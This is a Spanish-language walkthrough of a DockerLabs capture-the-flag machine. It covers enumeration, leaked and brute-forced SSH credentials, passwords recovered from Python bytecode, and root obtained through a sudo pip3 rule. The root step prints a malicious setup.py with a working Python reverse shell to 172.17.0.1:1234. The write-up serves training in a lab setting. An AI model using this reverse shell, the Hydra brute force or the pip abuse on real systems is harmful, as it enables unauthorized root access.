> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/pkgpoison.md).

# PkgPoison

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y HTTP.

La cadena de explotacion empieza con una nota expuesta en el servidor web. La nota revela unas credenciales antiguas para el usuario `dev`; aunque ya no sirven directamente por SSH, permiten confirmar un usuario valido y lanzar una fuerza bruta controlada hasta encontrar su password actual.

Desde el acceso como `dev`, la enumeracion local descubre bytecode de Python en `/opt/scripts/__pycache__` con credenciales reutilizables para `admin`. La escalada final llega por una regla `sudo` peligrosa que permite ejecutar `pip3 install *` como root.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVC -Pn -n -p- 172.17.0.2
```

![Nmap](/files/xAOo3yLZLc5UyFLMAyrJ)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 8.2p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.41 Ubuntu |

***

## Enumeracion web

Al acceder al puerto 80 aparece una pagina tipo buscador:

```
http://172.17.0.2
```

![Web principal](/files/7OO7brTjOE3O1X8DVIYW)

Se lanza Gobuster para descubrir rutas y archivos:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/dBY5xbBOaOtzNla2KVvS)

Aparecen estos recursos:

| Ruta             | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/index.html`    | 200    | Pagina principal       |
| `/notes/`        | 301    | Directorio interesante |
| `/server-status` | 403    | Restringido            |

Dentro de `/notes/` se encuentra `note.txt`:

```
http://172.17.0.2/notes/note.txt
```

![note.txt](/files/SW6teH5aVVbGSCNdetTu)

La nota expone unas credenciales debiles:

```
dev:developer123
```

***

## Fuerza bruta SSH

Se intenta acceder por SSH con las credenciales encontradas:

```bash
ssh dev@172.17.0.2
```

![SSH dev developer123](/files/wJsLZs8dXdEdES3kOlCG)

La password ya no es valida, pero el usuario `dev` queda confirmado. Se lanza Hydra con `rockyou.txt`:

```bash
hydra -l dev -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -I -t 64
```

![Hydra dev](/files/fGGj4pIMKYONzNUgOnyH)

Hydra encuentra la password:

```
dev:computer
```

Se accede por SSH:

```bash
ssh dev@172.17.0.2
```

![SSH dev computer](/files/6BDebPJZkRhqDNoPDC0U)

***

## Enumeracion local

Como `dev`, se revisan permisos de `sudo`, binarios SUID y capabilities:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
```

![Enumeracion dev](/files/QvLvIN1SsJ5UtYMKuwLx)

El usuario `dev` no puede ejecutar comandos con `sudo`, y la primera enumeracion no da una escalada directa. Al revisar directorios del sistema aparece `/opt/scripts`:

![opt scripts](/files/hEjznW8xFu3qABSTT27U)

Dentro se encuentra un directorio `__pycache__` con bytecode de Python:

```bash
cd /opt/scripts/__pycache__
ls -la
cat secret.cpython-38.pyc
```

![pyc](/files/rl7lzFQ8QfXO578hmkXI)

El archivo no es codigo fuente legible, pero `strings` permite extraer cadenas interesantes:

```bash
strings secret.cpython-38.pyc
```

![strings pyc](/files/HeVYTibvI4hw3vpJjqyI)

Aparecen credenciales para `admin`:

```
admin:p@$$w0r8321
```

Se cambia al usuario `admin`:

```bash
su admin
```

![su admin](/files/AG6q3zPLtPgBqRRVEG1r)

***

## Escalada a root

Como `admin`, se revisan los permisos de `sudo`:

```bash
sudo -l
```

![sudo admin](/files/Q2jkXvIgchETzCJ37SBd)

El usuario puede ejecutar `pip3 install` como cualquier usuario sin password:

```
(ALL) NOPASSWD: /usr/bin/pip3 install *
```

Esto permite abusar de un `setup.py` malicioso: al instalar el paquete, `pip` ejecutara codigo Python con privilegios de root. Se prepara un listener:

```bash
nc -lvnp 1234
```

En la maquina victima se crea `setup.py` con una reverse shell:

```python
import os
import socket
import subprocess

from setuptools import setup
from setuptools.command.install import install

class Exploit(install):
    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        subprocess.call(["/bin/sh", "-i"])

setup(
    cmdclass={
        "install": Exploit
    }
)
```

La estructura del `setup.py` se puede contrastar con esta referencia practica sobre escalada mediante `pip`: <https://0xma.github.io/hacking/escalate\\_privileges\\_via\\_pip.html>. En nuestro caso se adapta la IP y el puerto al entorno de DockerLabs.

![setup py](/files/awNxNcGWRCQUIfMfnGAb)

Se ejecuta la instalacion con `sudo`:

```bash
sudo /usr/bin/pip3 install .
```

![pip install](/files/NET4w3YhCvvEpOD9r5C0)

Al listener llega una shell como `root`:

![Root](/files/3A5V2ojytrQGYUGrr1Ma)

Se confirma el usuario:

```bash
whoami
```

```
root
```

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH y HTTP.
2. Enumeracion web con Gobuster hasta encontrar `/notes/`.
3. Lectura de `/notes/note.txt` con credenciales antiguas de `dev`.
4. Confirmacion de usuario valido y fuerza bruta SSH con Hydra.
5. Acceso como `dev` con la password `computer`.
6. Enumeracion local hasta encontrar `/opt/scripts/__pycache__/secret.cpython-38.pyc`.
7. Extraccion de cadenas del bytecode con `strings`.
8. Obtencion de credenciales para `admin`.
9. Abuso de `sudo /usr/bin/pip3 install *` mediante un `setup.py` malicioso.
10. Reverse shell final como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/pkgpoison.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
